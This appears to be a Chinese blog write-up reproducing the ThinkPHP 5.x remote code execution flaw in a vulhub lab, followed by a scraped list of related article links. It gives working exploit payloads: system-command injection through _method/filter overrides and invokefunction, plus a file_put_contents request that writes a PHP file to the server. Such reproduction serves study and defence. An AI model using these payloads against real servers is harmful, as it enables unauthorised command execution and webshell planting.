ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞

漏洞概述:

  • ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。

漏洞版本:

  • 5.0.x
  • 5.1.x
  • 5.2.x

漏洞搭建:

  • 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d
  • 5.1.x之后,必须在本地搭建,vulhub未提供。
  • 如图所示搭建成功,走起!

漏洞复现:

  • 分两个版本5.0.x和5.1.x、5.2.x,分别验证。

1.版本5.0.x

  • 将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
    -

  • 成功执行命令

  • 针对于这个版本还有一个漏洞,主要由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的远程命令执行漏洞。

  • 远程执行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  • 写文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i


2.版本5.1.x、5.2.x

  • 这两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
  • Payload:a=system&b=whoami&_method=filter

漏洞修复:

  • 及时打补丁。
  • 前方道路坎坷,记得及时行乐。

总结:

  • 这两个版本的远程漏洞本质上都是变量覆盖漏洞,在一处存在缺陷的方法中没有对用户输入做严格判断,通过传递_method参数覆盖了配置文件的_method,导致可以访问Request类的任意函数,而在Request的构造函数中又创建了恶意的成员变量,导致后面的命令执行;而在5.1和5.2版本中则是直接覆盖过滤器,在忽略运行异常时可以触发漏洞,也是很棒棒,膜拜大佬!

ps:萌新一枚,余生很长,请多指教。

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞相关推荐

  1. ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)

    ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的ge ...

  2. thinkphp v5.0.11漏洞_ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析

    阅读: 10,272 1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日又接连发布两个更新,这三次更新都修复了一个安全问题,该问题可能导致远程代码执行 ,这是ThinkPHP ...

  3. php命令执行漏洞利用,ThinkPHP 5.0 5.1远程命令执行漏洞利用分析

    1漏洞利用方式 5.0版本POC(不唯一) 命令执行:? s=index/thinkapp/invokefunction&function=call_user_func_array&v ...

  4. 浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224

    浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224 此文章仅供用于学习研究,严禁用于非法用途,否则后果自负. 漏洞简介 浪潮服务器群集管理系统存在危险字符未过滤,导 ...

  5. ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现

    php中文网最新课程 每日17点准时技术干货分享 0x00 前言 ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新 ...

  6. sqlite 0转换为bit_Cisco Talos在SQLite中发现了一个远程代码执行漏洞

    思科Talos的研究人员在SQLite中发现了一个use-after-free() 的漏洞,攻击者可利用该漏洞在受影响设备上远程执行代码. 攻击者可以通过向受影响的SQLite安装发送恶意SQL命令来 ...

  7. thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析

    ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性.但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏 ...

  8. Thinkphp V5.X 远程代码执行漏洞 - POC(精:集群5.0*、5.1*、5.2*)

    thinkphp-RCE-POC 官方公告: 1.https://blog.thinkphp.cn/869075 2.https://blog.thinkphp.cn/910675 POC: 批量检测 ...

  9. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

最新文章

  1. linux系统硬盘表识
  2. vim 对文件进行加密
  3. Python统计在一个队列中有多少个正数,多少个负数
  4. Android DDMS位置
  5. Boost.Math 和 Boost.Multiprecision 以提供 许多十进制数字精度的测试程序
  6. 洛谷 - P4009 汽车加油行驶问题(分层图最短路/最小费用最大流)
  7. 大牛书单 | 读书日,他们最近看了这些书
  8. 2021年春季学期期末统一考试 西方经济学(本) 试题
  9. 知识图谱前端插件_前端学习曲线原来越陡,说说我的学习经历
  10. 毕业论文 | 文献综述应该怎么写
  11. itoa函数 -- 整数转为字符串
  12. 使用springboot的banner给小伙伴输出一波月饼
  13. UI进阶——XML解析与Json解析
  14. 计算机科学上课带电脑,985 高校计算机系学生都在用的笔记本,我被深深地种草了!...
  15. 简单几步,将官方的Java API文档制作成chm格式文件!
  16. 零基础数据分析师视频教程考证课1到3spss/R语言/Python3/CDA网课
  17. java angular2集成_Angular2整合其他插件的方法
  18. rsync同步Nginx日志遇到问题总结
  19. catalog能否用于mysql_数据库-----catalog与schema简介
  20. SUSE Linux11安装教程(图文详解)

热门文章

  1. MATLAB 命令 BOXPLOT
  2. Linux微信运行错误,Ubuntu 16.04 运行微信开发者工具编译出错的解决办法
  3. 数据结构单链表SingleLinkedList,Java实现单链表增删改查
  4. 计算机二级web题目(4)--CSS基础
  5. 虚拟现实技术利用计算机,虚拟现实技术在计算机专业教学中的应用思考
  6. 写屏障是什么_面试官为什么问内存模型总离不开final关键字,该如何应对?
  7. Confluence 6 考虑使用自定义 CSS
  8. 云通讯短信验证码实例
  9. python的数与字符串
  10. JQuery学习笔记——JQuery基础